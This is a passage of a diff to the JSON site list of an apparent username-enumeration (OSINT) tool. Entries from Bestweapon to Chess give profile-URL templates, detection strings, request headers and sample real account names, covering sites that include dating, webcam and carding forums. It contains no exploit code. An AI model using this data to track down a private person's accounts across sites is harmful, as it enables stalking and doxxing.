class='border-blog'><tr><td><div class='avatar'" + ], + "alexaRank": 59450, + "urlMain": "https://bestweapon.ru", + "url": "https://bestweapon.ru/author.php?author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bethepro": { + "tags": [ + "pk", + "us" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 522588, + "urlMain": "https://bethepro.com", + "url": "https://bethepro.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bezuzyteczna": { + "checkType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{username}", + "usernameClaimed": "Jackson", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bgforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 2303903, + "urlMain": "https://bgforum.ru", + "url": "https://bgforum.ru/user/{username}/", + "usernameClaimed": "Shark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bibsonomy": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 5668, + "urlMain": "https://www.bibsonomy.org", + "url": "https://www.bibsonomy.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biggerpockets": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "| BiggerPockets" + ], + "url": "https://www.biggerpockets.com/users/{username}", + "usernameClaimed": "uheara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bigmmc": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 401668, + "urlMain": "http://bigmmc.com", + "usernameClaimed": "monhyip", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bigsoccer": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 62355, + "urlMain": "https://www.bigsoccer.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bikemap": { + "checkType": "status_code", + "url": "https://www.bikemap.net/en/u/{username}/routes/created/", + "usernameClaimed": "bikemap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BikeRadar": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 14858, + "urlMain": "https://forum.bikeradar.com", + "url": "https://forum.bikeradar.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bikepost": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 80497, + "urlMain": "https://bikepost.ru", + "url": "https://bikepost.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biketrials": { + "tags": [ + "pk", + "ru", + "vn" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 1853655, + "urlMain": "http://www.biketrials.ru", + "url": "http://www.biketrials.ru/live/member.php?username={username}", + "usernameClaimed": "temka", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Billkiene": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "alexaRank": 5465827, + "urlMain": "https://www.billkiene.com", + "usernameClaimed": "Odonata", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "BinarySearch": { + "tags": [ + "in" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,15}$", + "urlProbe": "https://binarysearch.com/api/users/{username}/profile", + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 286626, + "urlMain": "https://binarysearch.com/", + "url": "https://binarysearch.com/@/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BitBucket": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "checkType": "status_code", + "alexaRank": 3124, + "urlMain": "https://bitbucket.org/", + "url": "https://bitbucket.org/{username}/", + "usernameClaimed": "white", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BitCoinForum": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 205800, + "urlMain": "https://bitcoinforum.com", + "url": "https://bitcoinforum.com/profile/{username}", + "usernameClaimed": "bitcoinforum.com", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bitwarden": { + "checkType": "message", + "absenceStrs": [ + "Oops!" + ], + "presenseStrs": [ + " Profile" + ], + "url": "https://community.bitwarden.com/u/{username}/summary", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BlackHatProTools": { + "tags": [ + "forum" + ], + "engine": "vBulletin", + "alexaRank": 37561, + "urlMain": "https://www.blackhatprotools.info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blast": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 168139, + "urlMain": "https://www.blast.hk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BleachFandom": { + "tags": [ + "ru", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://bleach.fandom.com/ru", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogger": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 297, + "urlMain": "https://www.blogger.com/", + "url": "https://{username}.blogspot.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogi.pl": { + "checkType": "message", + "absenceStrs": [ + "Niepoprawny adres." + ], + "presenseStrs": [ + "Informacje og\u00f3lne" + ], + "url": "https://www.blogi.pl/osoba,{username}.html", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogmarks": { + "tags": [ + "fr", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, this user does not exist." + ], + "alexaRank": 44843, + "urlMain": "http://blogmarks.net", + "url": "http://blogmarks.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bluesky": { + "tags": [ + "messaging" + ], + "checkType": "message", + "absenceStrs": [ + "Oops!", + "Unable to resolve handle" + ], + "presenseStrs": [ + ".bsky.social on Bluesky" + ], + "urlMain": "https://bsky.app", + "url": "https://bsky.app/profile/{username}.bsky.social", + "usernameClaimed": "shamerli", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blu-ray": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 16342, + "urlMain": "https://forum.blu-ray.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BoardGameGeek": { + "checkType": "message", + "tags": [ + "gaming", + "us" + ], + "absenceStrs": [ + "\t\tUser not found", + "messagebox error", + ">\t
Profile | BoardGameGeek", + "\t
" + ], + "alexaRank": 4327, + "urlMain": "https://boardgamegeek.com", + "url": "https://boardgamegeek.com/user/{username}", + "usernameClaimed": "ZakuBG", + "usernameUnclaimed": "uzytnhstvj", + "presenseStrs": [ + "username", + " style=", + "mail", + " \tstyle=", + " data-username=" + ] + }, + "Bobrdobr": { + "tags": [ + "az", + "in", + "ru", + "tr", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 208648, + "urlMain": "https://bobrdobr.ru", + "url": "https://bobrdobr.ru/people/{username}/", + "usernameClaimed": "igrozona", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BodyBuilding": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 2233, + "urlMain": "https://bodyspace.bodybuilding.com/", + "url": "https://bodyspace.bodybuilding.com/{username}", + "errorUrl": "https://bodyspace.bodybuilding.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BongaCams": { + "tags": [ + "cz", + "webcam" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Referer": "https://pt.bongacams.com/", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-User": "?1" + }, + "absenceStrs": [ + "- BongaCams" + ], + "presenseStrs": [ + "Informa\u00e7\u00e3o e p\u00e1gina" + ], + "checkType": "message", + "alexaRank": 30, + "urlMain": "https://sbongacams.com", + "url": "https://bongacams.com/profile/{username}", + "urlProbe": "https://pt.bongacams.com/profile/{username}", + "usernameClaimed": "Icehotangel", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Bookandreader": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3984210, + "urlMain": "https://www.bookandreader.com", + "usernameClaimed": "Wabbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bookcrossing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 54251, + "urlMain": "https://www.bookcrossing.com/", + "url": "https://www.bookcrossing.com/mybookshelf/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bookmate": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry! We couldn\u2019t find what you were looking for", + "error-cartoon__image" + ], + "alexaRank": 88183, + "urlMain": "https://ru.bookmate.com", + "url": "https://ru.bookmate.com/authors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BoomInfo": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 5926590, + "urlMain": "https://boominfo.ru", + "url": "https://boominfo.ru/members/?username={username}", + "usernameClaimed": "boominfo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Boosty": { + "tags": [ + "eu", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "presenseStrs": [ + "Boosty " + ], + "alexaRank": 36134, + "urlMain": "https://boosty.to", + "url": "https://boosty.to/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Borsch.gallery": { + "checkType": "status_code", + "alexaRank": 2681015, + "urlMain": "https://borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{username}", + "usernameClaimed": "yana-chursina", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "art", + "shopping" + ] + }, + "Boxing": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 4329606, + "urlMain": "http://boxing.ru/", + "url": "http://boxing.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bratsk Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 565986, + "urlMain": "http://forum.bratsk.org", + "url": "http://forum.bratsk.org/member.php?username={username}", + "usernameClaimed": "nekto", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Brute": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3698666, + "urlMain": "https://brute.su", + "url": "https://brute.su/members/?username={username}", + "usernameClaimed": "Neon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bugcrowd": { + "checkType": "message", + "absenceStrs": [ + ">Bugcrowd | Error" + ], + "presenseStrs": [ + "s researcher profile on Bugcrowd" + ], + "url": "https://bugcrowd.com/{username}", + "usernameClaimed": "mert", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bukkit": { + "tags": [ + "at", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 31587, + "urlMain": "https://bukkit.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuyMeACoffee": { + "tags": [ + "in" + ], + "urlProbe": "https://www.buymeacoffee.com/{username}", + "checkType": "status_code", + "alexaRank": 4804, + "urlMain": "https://www.buymeacoffee.com/", + "url": "https://buymeacoff.ee/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuzzFeed": { + "tags": [ + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 511, + "urlMain": "https://buzzfeed.com/", + "url": "https://buzzfeed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "xgtrq" + }, + "Buzznet": { + "checkType": "message", + "absenceStrs": [ + "Author: - Buzznet" + ], + "url": "https://www.buzznet.com/author/{username}", + "usernameClaimed": "karynbailey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Byte": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 272043, + "urlMain": "https://community.byte.co", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caringbridge": { + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find that site" + ], + "presenseStrs": [ + "| CaringBridge" + ], + "url": "https://www.caringbridge.org/visit/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carrd.co": { + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page could not be found." + ], + "presenseStrs": [ + "( Made with Carrd )" + ], + "url": "https://{username}.carrd.co", + "usernameClaimed": "peter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cash.app": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for can't be found" + ], + "presenseStrs": [ + "on Cash App" + ], + "url": "https://cash.app/${username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Castingcallclub": { + "checkType": "message", + "absenceStrs": [ + "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for." + ], + "presenseStrs": [ + "| Casting Call Club" + ], + "url": "https://www.castingcall.club/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CD-Action": { + "checkType": "message", + "absenceStrs": [ + "Co\u015b si\u0119 popsu\u0142o..." + ], + "presenseStrs": [ + "Lista gier:" + ], + "url": "https://cdaction.pl/uzytkownicy/{username}", + "usernameClaimed": "jfchaaber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cda.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona na kt\u00f3r\u0105 chcesz wej\u015b\u0107 nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://www.cda.pl/{username}", + "usernameClaimed": "test2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chamsko.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "W serwisie od" + ], + "url": "https://www.chamsko.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chomikuj.pl": { + "checkType": "message", + "absenceStrs": [ + "homik o takiej nazwie nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://chomikuj.pl/{username}/", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CNET": { + "tags": [ + "news", + "tech", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "error_404", + "c-error404", + "Author not found", + "c-error404_back", + "c-error404_header" + ], + "presenseStrs": [ + "},firstName:", + "#email", + ",cmsDisplayName:", + "og:title", + "c-pageProfile" + ], + "alexaRank": 181, + "urlMain": "https://www.cnet.com", + "url": "https://www.cnet.com/profiles/{username}/", + "usernameClaimed": "leadicicco", + "usernameUnclaimed": "chexowcxzm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "CORSAIR": { + "urlSubpath": "/v3", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "presenseStrs": [ + "reputation_alexaRank" + ], + "engine": "vBulletin", + "alexaRank": 6895, + "urlMain": "https://forum.corsair.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CPlusPlus": { + "checkType": "message", + "absenceStrs": [ + "404 Page Not Found" + ], + "urlMain": "https://3examplesite.ru", + "url": "http://www.cplusplus.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "ru" + ] + }, + "Crowdin": { + "checkType": "message", + "absenceStrs": [ + "Page Not Found - Crowdin" + ], + "presenseStrs": [ + ") \u2013 Crowdin" + ], + "url": "https://crowdin.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CS-Lords": { + "tags": [ + "gaming", + "ru" + ], + "engine": "uCoz", + "alexaRank": 5350740, + "urlMain": "http://cs-lords.ru", + "usernameClaimed": "Lexx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0424\u043e\u0440\u0443\u043c" + ], + "alexaRank": 809683, + "urlMain": "https://cad.ru", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "SergeT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Caduser": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 792871, + "urlMain": "https://www.caduser.ru/", + "url": "https://www.caduser.ru/forum/userlist.php?username={username}", + "usernameClaimed": "adamas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapFriendly": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "regexCheck": "^[a-zA-z][a-zA-Z0-9_]{2,79}$", + "checkType": "message", + "absenceStrs": [ + "
No results found
" + ], + "alexaRank": 48318, + "urlMain": "https://www.capfriendly.com/", + "url": "https://www.capfriendly.com/users/{username}", + "usernameClaimed": "thisactuallyexists", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapitalcityCombats": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + ], + "alexaRank": 90420, + "urlMain": "http://capitalcity.combats.com", + "url": "http://capitalcity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carbonmade": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 29405, + "urlMain": "https://carbonmade.com/", + "url": "https://{username}.carbonmade.com", + "errorUrl": "https://carbonmade.com/fourohfour?domain={username}.carbonmade.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CardingForum": { + "disabled": true, + "tags": [ + "forum", + "ma", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 2448684, + "urlMain": "https://cardingforum.co", + "url": "https://cardingforum.co/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Cardingsite": { + "disabled": true, + "tags": [ + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1418423, + "urlMain": "https://cardingsite.cc", + "url": "https://cardingsite.cc/members/?username={username}", + "usernameClaimed": "zombe", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HabrCareer": { + "tags": [ + "career", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "

\u041e\u0448\u0438\u0431\u043a\u0430 404

" + ], + "alexaRank": 1265, + "urlMain": "https://career.habr.com/", + "url": "https://career.habr.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carmasters": { + "tags": [ + "fi", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 165361, + "urlMain": "https://carmasters.org", + "url": "https://carmasters.org/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CashMe": { + "disabled": true, + "errors": { + "Cash isn't available in your country yet.": "Access denied in your country, use proxy/vpn" + }, + "checkType": "status_code", + "urlMain": "https://cash.me/", + "url": "https://cash.me/${username}", + "usernameClaimed": "Jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5273271 + }, + "Casial": { + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Online Casino Forum" + ], + "urlMain": "http://www.casial.net", + "url": "http://www.casial.net/forum/members/{username}.html", + "usernameClaimed": "irgent", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4165284 + }, + "Casino-affiliate-forum": { + "tags": [ + "de", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://www.casino-affiliate-forum.com", + "usernameClaimed": "torstenw", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caves": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 1010183, + "urlMain": "https://caves.ru", + "usernameClaimed": "junk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cbr": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 2689, + "urlMain": "https://community.cbr.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Ccdi": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2823700, + "urlMain": "http://www.ccdi.ru/", + "url": "http://www.ccdi.ru/users/{username}", + "usernameClaimed": "Nikita55", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccm": { + "tags": [ + "ao", + "in", + "ve" + ], + "checkType": "status_code", + "alexaRank": 2274, + "urlMain": "https://ccm.net", + "url": "https://ccm.net/profile/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccmixter": { + "tags": [ + "music" + ], + "checkType": "message", + "absenceStrs": [ + "ERROR(2)", + "Sorry, we don't know who that is..." + ], + "presenseStrs": [ + "Member since" + ], + "alexaRank": 93540, + "urlMain": "http://ccmixter.org/", + "url": "http://ccmixter.org/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cent": { + "tags": [ + "art", + "us", + "writing" + ], + "urlProbe": "https://beta.cent.co/data/user/profile?userHandles={username}", + "checkType": "message", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "\"results\":[]" + ], + "alexaRank": 21594, + "urlMain": "https://cent.co/", + "url": "https://beta.cent.co/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cfire": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 309789, + "urlMain": "https://cfire.ru", + "url": "https://cfire.ru/forums/member.php?username={username}", + "usernameClaimed": "laid1998", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Championat": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 738, + "urlMain": "https://www.championat.com/", + "url": "https://www.championat.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chan4chan": { + "tags": [ + "hu" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Log in - Chan4Chan" + ], + "alexaRank": 1229741, + "urlMain": "http://chan4chan.com/", + "url": "http://chan4chan.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chatujme.cz": { + "checkType": "message", + "absenceStrs": [ + "Neexistujic\u00ed profil", + "Str\u00e1nka nebyla nalezena" + ], + "alexaRank": 2736599, + "urlMain": "https://chatujme.cz/", + "url": "https://profil.chatujme.cz/{username}", + "usernameClaimed": "david", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "cz", + "dating" + ] + }, + "ChaturBate": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 62, + "urlMain": "https://chaturbate.com", + "url": "https://chaturbate.com/{username}", + "usernameClaimed": "cute18cute", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Cheezburger": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4449, + "urlMain": "https://profile.cheezburger.com", + "url": "https://profile.cheezburger.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemistlab": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1330779, + "urlMain": "http://chemistlab.ru", + "usernameClaimed": "FilIgor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemport": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 310804, + "urlMain": "https://www.chemport.ru", + "usernameClaimed": "serge", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chess": { + "tags": [ + "gaming", + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "error image", + "

404 Page not found

